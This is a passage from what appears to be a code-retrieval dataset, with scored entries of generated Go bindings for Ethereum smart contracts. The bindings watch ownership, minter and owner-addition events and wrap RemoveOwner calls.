event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RollupCreatorNoProxyOwnershipTransferred)\n\t\t\t\tif err := _RollupCreatorNoProxy.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "019ce6cee914cff66a43cc848c3ea35e", "score": "0.5888632", "text": "func (_HoQuConfig *HoQuConfigFilterer) WatchSystemOwnerChanged(opts *bind.WatchOpts, sink chan<- *HoQuConfigSystemOwnerChanged, previousOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.WatchLogs(opts, \"SystemOwnerChanged\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(HoQuConfigSystemOwnerChanged)\n\t\t\t\tif err := _HoQuConfig.contract.UnpackLog(event, \"SystemOwnerChanged\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "5546176fec5cbae7007370e4d794cce0", "score": "0.5875299", "text": "func (m *Manager) WatchDevicePolicyRemoved(contractAddr common.Address, events chan<- *contract.AccessControlDevicePolicyDeleted) (event.Subscription, error) {\n\tinstance, err := contract.NewAccessControl(contractAddr, m.rpc.GetRawClient())\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not bind to existing contract\")\n\t}\n\n\tsubscr, err := instance.WatchDevicePolicyDeleted(nil, events, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"could not subscribe to events\")\n\t}\n\n\treturn subscr, nil\n}", "title": "" }, { "docid": "627bb40522c2a1142025608225265eb6", "score": "0.5872992", "text": "func (_Migc *MigcFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *MigcOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Migc.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MigcOwnershipTransferred)\n\t\t\t\tif err := _Migc.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "5210a45bc594e036aa1216ed0498b671", "score": "0.5818386", "text": "func (_MinterRole *MinterRoleFilterer) WatchMinterRemoved(opts *bind.WatchOpts, sink chan<- *MinterRoleMinterRemoved, account []common.Address) (event.Subscription, error) {\n\n\tvar accountRule []interface{}\n\tfor _, accountItem := range account {\n\t\taccountRule = append(accountRule, accountItem)\n\t}\n\n\tlogs, sub, err := _MinterRole.contract.WatchLogs(opts, \"MinterRemoved\", accountRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MinterRoleMinterRemoved)\n\t\t\t\tif err := _MinterRole.contract.UnpackLog(event, \"MinterRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "556ef0d561f3f9855dfc91c471f8e00d", "score": "0.5816486", "text": "func (_OwnerManager *OwnerManagerSession) RemoveOwner(prevOwner common.Address, owner common.Address, _threshold *big.Int) (*types.Transaction, error) {\n\treturn _OwnerManager.Contract.RemoveOwner(&_OwnerManager.TransactOpts, prevOwner, owner, _threshold)\n}", "title": "" }, { "docid": "990815915d74ba8778742a95f873602f", "score": "0.58102876", "text": "func (_Masterchef *MasterchefFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *MasterchefOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Masterchef.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MasterchefOwnershipTransferred)\n\t\t\t\tif err := _Masterchef.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "240172e63481464ce481f504c4ec82f7", "score": "0.58088756", "text": "func (_Contract *ContractFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *ContractOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Contract.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ContractOwnershipTransferred)\n\t\t\t\tif err := _Contract.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "fda055a686f8e5d66d40fa4d6877dfa3", "score": "0.58071756", "text": "func (_MultiSigWallet *MultiSigWalletFilterer) WatchOwnerAddition(opts *bind.WatchOpts, sink chan<- *MultiSigWalletOwnerAddition, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWallet.contract.WatchLogs(opts, \"OwnerAddition\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MultiSigWalletOwnerAddition)\n\t\t\t\tif err := _MultiSigWallet.contract.UnpackLog(event, \"OwnerAddition\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "fd69720e4d72fb01f7556d3ee9c0bf13", "score": "0.5804635", "text": "func (_HoQuConfig *HoQuConfigFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *HoQuConfigOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(HoQuConfigOwnershipTransferred)\n\t\t\t\tif err := _HoQuConfig.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "41376e75fb4c6daddd7a4e65d7b4ce2c", "score": "0.57976854", "text": "func (_MultiSigWallet *MultiSigWalletTransactorSession) RemoveOwner(owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWallet.Contract.RemoveOwner(&_MultiSigWallet.TransactOpts, owner)\n}", "title": "" }, { "docid": "32c9e57e0807b3d9a5ee21fb550830fc", "score": "0.5796238", "text": "func (_InHospitalData *InHospitalDataFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *InHospitalDataOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _InHospitalData.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(InHospitalDataOwnershipTransferred)\n\t\t\t\tif err := _InHospitalData.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "f4836d97d9d6fab31848386b45440e49", "score": "0.57926816", "text": "func (_TellorLibrary *TellorLibraryFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *TellorLibraryOwnershipTransferred, _previousOwner []common.Address, _newOwner []common.Address) (event.Subscription, error) {\n\n\tvar _previousOwnerRule []interface{}\n\tfor _, _previousOwnerItem := range _previousOwner {\n\t\t_previousOwnerRule = append(_previousOwnerRule, _previousOwnerItem)\n\t}\n\tvar _newOwnerRule []interface{}\n\tfor _, _newOwnerItem := range _newOwner {\n\t\t_newOwnerRule = append(_newOwnerRule, _newOwnerItem)\n\t}\n\n\tlogs, sub, err := _TellorLibrary.contract.WatchLogs(opts, \"OwnershipTransferred\", _previousOwnerRule, _newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TellorLibraryOwnershipTransferred)\n\t\t\t\tif err := _TellorLibrary.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ce8858ef8129ba16a903242d84d436d8", "score": "0.57892036", "text": "func (_Controller *ControllerFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *ControllerOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Controller.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ControllerOwnershipTransferred)\n\t\t\t\tif err := _Controller.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "0ef62aebb23d95510f0e539041a8fc7c", "score": "0.5782912", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitTransactorSession) RemoveOwner(owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWalletWithDailyLimit.Contract.RemoveOwner(&_MultiSigWalletWithDailyLimit.TransactOpts, owner)\n}", "title": "" }, { "docid": "409614c2d1c292cc943373b8ae4d96f1", "score": "0.57809466", "text": "func (_Escrow *EscrowFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *EscrowOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Escrow.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(EscrowOwnershipTransferred)\n\t\t\t\tif err := _Escrow.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "75a80dde26e93b8e778b2fd99524dc1a", "score": "0.57638985", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitSession) RemoveOwner(owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWalletWithDailyLimit.Contract.RemoveOwner(&_MultiSigWalletWithDailyLimit.TransactOpts, owner)\n}", "title": "" }, { "docid": "5542ddf0536287505a5f2c754c32d10d", "score": "0.57468456", "text": "func (_ERC20Mintable *ERC20MintableFilterer) WatchMinterRemoved(opts *bind.WatchOpts, sink chan<- *ERC20MintableMinterRemoved, account []common.Address) (event.Subscription, error) {\n\n\tvar accountRule []interface{}\n\tfor _, accountItem := range account {\n\t\taccountRule = append(accountRule, accountItem)\n\t}\n\n\tlogs, sub, err := _ERC20Mintable.contract.WatchLogs(opts, \"MinterRemoved\", accountRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ERC20MintableMinterRemoved)\n\t\t\t\tif err := _ERC20Mintable.contract.UnpackLog(event, \"MinterRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ac20e61717fc5dd192d51e8e9ff6affe", "score": "0.57419103", "text": "func (_ERC1155Token *ERC1155TokenFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *ERC1155TokenOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ERC1155Token.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ERC1155TokenOwnershipTransferred)\n\t\t\t\tif err := _ERC1155Token.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "488acae97570d056055c4913614c7938", "score": "0.5738635", "text": "func (_Token *TokenFilterer) WatchLogSetOwner(opts *bind.WatchOpts, sink chan<- *TokenLogSetOwner, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.WatchLogs(opts, \"LogSetOwner\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TokenLogSetOwner)\n\t\t\t\tif err := _Token.contract.UnpackLog(event, \"LogSetOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ebe63191d5e0971ce5cbcbe956dcc170", "score": "0.5729209", "text": "func (*CMsgDOTAFantasyRemoveOwner) Descriptor() ([]byte, []int) {\n\treturn file_dota2_dota_gcmessages_client_fantasy_proto_rawDescGZIP(), []int{55}\n}", "title": "" }, { "docid": "3cc6cfb92c34ee6bc3f71e9c586fb668", "score": "0.5719053", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitFilterer) WatchOwnerAddition(opts *bind.WatchOpts, sink chan<- *MultiSigWalletWithDailyLimitOwnerAddition, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWalletWithDailyLimit.contract.WatchLogs(opts, \"OwnerAddition\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MultiSigWalletWithDailyLimitOwnerAddition)\n\t\t\t\tif err := _MultiSigWalletWithDailyLimit.contract.UnpackLog(event, \"OwnerAddition\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "1da58bcb8fc81de203df30a87ebba891", "score": "0.57170266", "text": "func (_MultiSigWallet *MultiSigWalletSession) RemoveOwner(owner common.Address) (*types.Transaction, error) {\n\treturn _MultiSigWallet.Contract.RemoveOwner(&_MultiSigWallet.TransactOpts, owner)\n}", "title": "" }, { "docid": "5f7f479a713d879da8ed9d71a709503c", "score": "0.57157683", "text": "func (_ProxyAdmin *ProxyAdminFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *ProxyAdminOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ProxyAdmin.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ProxyAdminOwnershipTransferred)\n\t\t\t\tif err := _ProxyAdmin.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "a48d19cc3a978b2a0fd5df515afca8ff", "score": "0.5713607", "text": "func (_Ownable *OwnableFilterer) FilterOwnershipRenounced(opts *bind.FilterOpts, previousOwner []common.Address) (*OwnableOwnershipRenouncedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.FilterLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, 